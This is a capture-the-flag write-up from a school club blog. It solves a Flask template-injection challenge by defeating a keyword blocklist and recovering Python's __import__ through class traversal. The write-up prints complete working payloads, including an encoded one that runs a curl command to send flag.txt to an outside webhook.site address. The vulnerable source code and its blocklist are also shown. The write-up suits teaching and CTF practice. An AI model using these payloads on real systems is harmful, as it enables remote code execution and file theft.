AppVenture by NUS High

[AVCTF2021] Super Secure Trustable Implementation

Posted 21 December 2021 by Zhao YunZhao Yun


I've added a bunch of filters, so my app must be really secure now.

Flag in flag.txt

URL: http://35.240.143.82:4209/

The source, main.py is included hence we should take a look.

import secrets
from flask import Flask, render_template_string, request

app = Flask(__name__)


@app.route("/")
def index():
    name = request.args.get("name", default="World")
    # Evil hacker cannot get past now!
    blocklist = ["{{", "}}", "__", "subprocess", "flag", "popen", "system", "os", "import", "read", "flag.txt"]
    for bad in blocklist:
        name = name.replace(bad, "")
    return render_template_string(f"<h1> Hello, {name}")

Since the server uses render_template_string it's vulnerable to {{}} template string attacks.

If we use {{ 'Hello'+' '+'World' }} for name, it would give us Hello World as the string inside is ran as code.

Blocklist Bypass

However as we can see, there is an blocklist, and it includes {{ and }}.

To bypass this filter we can simply insert blocklisted words inside of blocklisted words. For example

{flag{}flag} will not trigger when checking for {{ and }}, but will have flag removed when checking for flag, and would result in {{}} as the end output.

Making use of this, we can construct our payloads with the help of a little script.

I had troubles with reading the file so I decided to just send the file content via curl

webhook.site is a easy to use site for sending data back

bypass = ["{{", "}}", "__", "subprocess", "flag", "popen", "system", "os", "import", "read"]
bypass.reverse()
payload = ''
for toby in bypass:
    payload = payload.replace(toby, toby[0] + "read" + toby[1:])
print(payload)
name = payload
blocklist = ["{{", "}}", "__", "subprocess", "flag", "popen", "system", "os", "import", "read", "flag.txt"]
for bad in blocklist:
    name = name.replace(bad, "")
print(f"<h1> Hello, {name}")

Bypassing certain unknown filters

If one simply use __import__, one will soon realise that it does not exist, this could have been done by deleting built-ins from the python run time.

We can restore the built-ins via reload(__builtins__), however it is obviously, also deleted.

We need to find __import__ somehow.

With some experimenting, we can find that

>>> ().__class__.__bases__
(<type 'object'>,)

The tuple inherits directly from object, hence we can find the list of types (extends object) by sending the payload

{{().__class__.__bases__[0].__subclasses__()}}
Hello, [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>... <class 'flask.blueprints.BlueprintSetupState'>]

Much of the output is useless, _frozen_importlib_external.FileLoader looks a bit suspicious though. (it is at position 118)

{{().__class__.__bases__[0].__subclasses__()[118]}}
Hello, <class '_frozen_importlib_external.FileLoader'>

Just verifying that the class is the FileLoader, now lets see what builtins this FileLoader has

{{().__class__.__bases__[0].__subclasses__()[118].__init__.__globals__["__builtins__"]}}
Hello, {'__name__': 'builtins' ... '__import__': <built-in function __import__>,  ...help, or help(object) for help about object.}

Hooray! We found __import__, now we just have to combine the payload into

{{(().__class__.__bases__[0].__subclasses__()[118].__init__.__globals__["__builtins__"])["__im"+"port__"]("o"+"s").system("curl -X POST --data-binary @flflag.txtag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9")}}

flag.txt is manually bypassed since it contains flag

Transforming the payload

{read{(()._read_class_read_._read_bases_read_[0]._read_subclasses_read_()[118]._read_init_read_._read_globals_read_["_read_builtins_read_"])["_read_im"+"port_read_"]("o"+"s").sreadystem("curl -X POST --data-binary @flfreadlag.txtag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9")}read}

<h1> Hello, {{(().__class__.__bases__[0].__subclasses__()[118].__init__.__globals__["__builtins__"])["__im"+"port__"]("o"+"s").system("curl -X POST --data-binary @flag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9")}}

The first line is our payload, and after running the same blocklist operations as the server, the resulting string looks ok.

Sending the payload

http://35.240.143.82:4209/?name={read{(()._read_class_read_._read_bases_read_[0]._read_subclasses_read_()[118]._read_init_read_._read_globals_read_["_read_builtins_read_"])["_read_im"+"port_read_"]("o"+"s").sreadystem("curl -X POST --data-binary @flfreadlag.txtag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9")}read}

And after checking webhook.site

flag{server_side_rendering_is_fun_but_dangerous_sometimes}

Flag obtained

end-mark